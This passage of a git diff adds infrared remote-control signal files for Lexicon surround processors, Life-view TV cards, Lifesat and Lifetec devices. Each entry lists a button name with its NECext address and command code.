+protocol: NECext +address: 85 02 00 00 +command: 61 00 00 00 +# +name: Z-2_VOLUME_TO_-10DB +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 62 00 00 00 +# +name: Z-2_VOLUME_TO_+00DB +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 63 00 00 00 +# +name: VOLUME_TO_-30_DB +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 64 00 00 00 +# +name: VOLUME_TO_-20_DB +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 65 00 00 00 +# +name: VOLUME_TO_-10_DB +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 66 00 00 00 +# +name: VOLUME_TO_+00_DB +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 67 00 00 00 +# +name: BALANCE_FRONT +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 81 00 00 00 +# +name: FRONT_FADER +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 81 00 00 00 +# +name: MENU_BACK_OFF +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 82 00 00 00 +# +name: SHIFT_+_FP_OFF +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 83 00 00 00 +# +name: SHIFT_+_FP_ON +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 84 00 00 00 +# +name: MENU_BACK_ON +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 85 00 00 00 +# +name: BALANCE_RIGHT +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 88 00 00 00 +# +name: R_BALANCE +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 88 00 00 00 +# +name: BALANCE_LEFT +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 8A 00 00 00 +# +name: L_BALANCE +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 8A 00 00 00 +# +name: EQ_LOUDNESS_OFF +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 8C 00 00 00 +# +name: LOUDNESS_OFF +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 8C 00 00 00 +# +name: EQ_TILT_- +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 8D 00 00 00 +# +name: EQ_TREBLE_- +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 8E 00 00 00 +# +name: TREBLE_DOWN +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 8E 00 00 00 +# +name: EQ_BASS_- +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 8F 00 00 00 +# +name: BASS_LEVEL_DOWN +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 8F 00 00 00 +# +name: EQ_LOUDNESS_ON +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 90 00 00 00 +# +name: LOUDNESS_ON +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 90 00 00 00 +# +name: EQ_TILT_+ +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 91 00 00 00 +# +name: EQ_TREBLE_+ +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 92 00 00 00 +# +name: TREBLE_UP +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 92 00 00 00 +# +name: EQ_BASS_+ +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 93 00 00 00 +# +name: BASS_LEVEL_UP +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 93 00 00 00 +# +name: VOLUME_FULL_MUTE +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 95 00 00 00 +# +name: VOLUME_-5_DB +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 96 00 00 00 +# +name: VOLUME_+5_DB +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 97 00 00 00 +# +name: PGM_TRIGGER_ON +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 98 00 00 00 +# +name: PGM_TRIGGER_OFF +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 99 00 00 00 +# +name: BALANCE_CENTERED +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 9A 00 00 00 +# +name: EQ_OFF +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 9B 00 00 00 +# +name: BALANCE_REAR +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 9D 00 00 00 +# +name: REAR_FADER +type: parsed +protocol: NECext +address: 85 02 00 00 +command: 9D 00 00 00 +# +name: FX_NIGHTCLUB +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A0 00 00 00 +# +name: NIGHTCLUB +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A0 00 00 00 +# +name: FX_CONCERT_HALL +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A1 00 00 00 +# +name: CONCERT_HALL +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A1 00 00 00 +# +name: FX_CHURCH +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A2 00 00 00 +# +name: CHURCH +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A2 00 00 00 +# +name: FX_CATHEDRAL +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A3 00 00 00 +# +name: CATHEDRAL +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A3 00 00 00 +# +name: INPUT_EP_/_2-CHANNEL +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A4 00 00 00 +# +name: FX_PANORAMA +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A5 00 00 00 +# +name: PANORAMA +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A5 00 00 00 +# +name: FX_MONO_LOGIC +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A6 00 00 00 +# +name: MONO_LOGIC +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A6 00 00 00 +# +name: FX_MUSIC_SURROUND +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A7 00 00 00 +# +name: MUSIC_LOGIC +type: parsed +protocol: NECext +address: 85 02 00 00 +command: A7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir new file mode 100644 index 000000000..3aa20f99c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir @@ -0,0 +1,458 @@ +Filetype: IR signals file +Version: 1 +# +name: BALANCE_FRONT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 41 00 00 00 +# +name: BALANCE_RIGHT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 42 00 00 00 +# +name: REAR_DELAY_+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 43 00 00 00 +# +name: PARAM_+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 44 00 00 00 +# +name: BALANCE_REAR +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 45 00 00 00 +# +name: BALANCE_LEFT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 46 00 00 00 +# +name: REAR_DELAY_- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 47 00 00 00 +# +name: PARAM_- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 48 00 00 00 +# +name: MONO_LOGIC +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 4C 00 00 00 +# +name: MUSIC_LOGIC +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 50 00 00 00 +# +name: DOLBY_PRO-LOGIC +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 54 00 00 00 +# +name: MUTE_MAIN +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 55 00 00 00 +# +name: MUTE_SURROUND +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 56 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 57 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 58 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 83 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 84 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 87 00 00 00 +# +name: ON/OFF-SIMPLE_REMOTE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 88 00 00 00 +# +name: PANORAMA_NORMAL_1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 89 00 00 00 +# +name: PANORAMA_WIDE_2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 8A 00 00 00 +# +name: PANORAMA_BINAURAL_3 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 8B 00 00 00 +# +name: BANK +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 8C 00 00 00 +# +name: AMBIENCE_SMALL_4 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 8D 00 00 00 +# +name: AMBIENCE_MEDIUM_5 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 8E 00 00 00 +# +name: AMBIENCE_LARGE_6 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 8F 00 00 00 +# +name: PARAM +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 90 00 00 00 +# +name: REVERB_SMALL_7 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 91 00 00 00 +# +name: REVERB_MEDIUM_8 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 92 00 00 00 +# +name: REVERB_LARGE_9 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 93 00 00 00 +# +name: PARAM_+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 94 00 00 00 +# +name: SURROUND_TV_10 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 95 00 00 00 +# +name: SURROUND_MUSIC_11 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 96 00 00 00 +# +name: SURROUND_FULL_12 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 97 00 00 00 +# +name: PARAM_- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 98 00 00 00 +# +name: SURROUND_MONO_13 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 99 00 00 00 +# +name: SURROUND_DOLBY_14 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 9A 00 00 00 +# +name: SURROUND_THX_15 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 9B 00 00 00 +# +name: BALANCE_FRONT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 9E 00 00 00 +# +name: BALANCE_LEFT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: A1 00 00 00 +# +name: BALANCE_RIGHT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: A3 00 00 00 +# +name: BALANCE_REAR +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: A6 00 00 00 +# +name: EFFECT_- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: A9 00 00 00 +# +name: EFFECT_+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: AA 00 00 00 +# +name: MUTE_EFFECT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: AB 00 00 00 +# +name: MUTE_MAIN +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: AC 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: AD 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: AE 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: AF 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: B0 00 00 00 +# +name: PANORAMA_NORMAL_1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: C2 00 00 00 +# +name: PANORAMA_WIDE_2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: C3 00 00 00 +# +name: PANORAMA_BINAURAL_3 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: C4 00 00 00 +# +name: BANK +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: C5 00 00 00 +# +name: AMBIENCE_SMALL_4 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: C6 00 00 00 +# +name: AMBIENCE_MEDIUM_5 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: C7 00 00 00 +# +name: AMBIENCE_LARGE_6 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: C8 00 00 00 +# +name: PARAM +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: C9 00 00 00 +# +name: REVERB_SMALL_7 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: CA 00 00 00 +# +name: REVERB_MEDIUM_8 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: CB 00 00 00 +# +name: REVERB_LARGE_9 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: CC 00 00 00 +# +name: PARAM_+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: CD 00 00 00 +# +name: MUTE_EFFECT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: D0 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: D2 00 00 00 +# +name: EFFECT_- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: D3 00 00 00 +# +name: BALANCE_REAR +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: D4 00 00 00 +# +name: BALANCE_LEFT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: D5 00 00 00 +# +name: PARAM_- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: D7 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: D8 00 00 00 +# +name: BALANCE_RIGHT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: D9 00 00 00 +# +name: BALANCE_FRONT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: DA 00 00 00 +# +name: EFFECT_+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: DB 00 00 00 +# +name: SURROUND_MONO_10 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: DC 00 00 00 +# +name: SURROUND_STEREO_11 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: DD 00 00 00 +# +name: SURROUND_DOLBY_12 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: DE 00 00 00 +# +name: MUTE_SYTEM +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: E1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir b/assets/resources/infrared/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir new file mode 100644 index 000000000..48ef07e2f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 00 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 05 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0D 00 00 00 +# +name: air/catv +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 10 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 14 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 17 00 00 00 +# +name: av_source +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 18 00 00 00 +# +name: stereo +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir b/assets/resources/infrared/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir new file mode 100644 index 000000000..ea6359e45 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 00 00 00 00 +# +name: MOUSE_MODE +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 01 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 05 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 09 00 00 00 +# +name: INC +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 10 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 12 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 13 00 00 00 +# +name: CENTER +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 13 00 00 00 +# +name: CENTER +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 14 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 15 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 15 00 00 00 +# +name: DEC +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 17 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 18 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 19 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1B 00 00 00 +# +name: TAB_RIGHT +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1C 00 00 00 +# +name: SQUARE +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1D 00 00 00 +# +name: TAB_LEFT +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1E 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1F 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 60 01 00 00 +command: E1 00 00 00 +# +name: CHANELS +type: parsed +protocol: NECext +address: 60 01 00 00 +command: E2 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 60 01 00 00 +command: E3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir b/assets/resources/infrared/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir new file mode 100644 index 000000000..45668dfd3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 02 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 08 00 00 00 +# +name: V/H +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0A 00 00 00 +# +name: MEM +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0B 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0C 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 11 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 12 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 14 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 15 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 16 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 17 00 00 00 +# +name: P/L +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 19 00 00 00 +# +name: D/ON +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir b/assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir new file mode 100644 index 000000000..9eb441a0d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0B 00 00 00 +# +name: TIMER_REC +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0D 00 00 00 +# +name: AUDIO_SELECT +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0E 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 13 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 16 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 17 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 19 00 00 00 +# +name: PAUSE/STILL +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1A 00 00 00 +# +name: SHOWVIEW +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1D 00 00 00 +# +name: SPEED_SP/LP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 1E 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 45 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4A 00 00 00 +# +name: ZERO_RETURN +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4B 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 50 00 00 00 +# +name: CLOCK/COUNTER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 51 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir new file mode 100644 index 000000000..2a3b706b0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# 